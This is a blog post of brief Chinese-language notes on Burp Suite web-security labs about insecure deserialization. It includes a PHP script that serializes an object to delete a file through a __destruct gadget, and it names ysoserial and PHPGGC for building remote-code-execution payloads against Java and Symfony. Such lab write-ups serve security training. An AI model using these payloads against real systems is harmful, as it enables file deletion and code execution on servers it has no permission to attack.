Burpsuite---反序列化专题

同样的哈,我只记录一些点,不是完整的wp

Lab: Arbitrary object injection in PHP

这里有个读文件的点

可以在文件名后加一个~来读其备份文件

这样我们就可以读到站点地图给的文件源码

很明显有个漏洞函数

function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}

在对象销毁时会调用,unlink是删除文件,所以我们就可以构造

<?php

class CustomTemplate {
private $lock_file_path = "/home/carlos/morale.txt";
}

$a = new CustomTemplate("/home/carlos/morale.txt");
var_dump(serialize($a));

再base64编码传过去就可以删除指定文件

Lab: Exploiting Java deserialization with Apache Commons

一个java反序列化的工具

https://github.com/frohoff/ysoserial

可以生成指定的payload

Lab: Exploiting PHP deserialization with a pre-built gadget chain

首先可以构造一个错误的cookie使其报错,然后发现可以看到框架信息Symfony Version: 4.3.6

知道框架及其版本就可以利用PHPGGC那个工具来实现rce的payload

然后对照抓包的那种格式用php写一个exp,要用url编码才可以

最后改掉原来的那个cookie发包出去就可以过了

作者

秋秋晚

发布于

2022-03-14

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...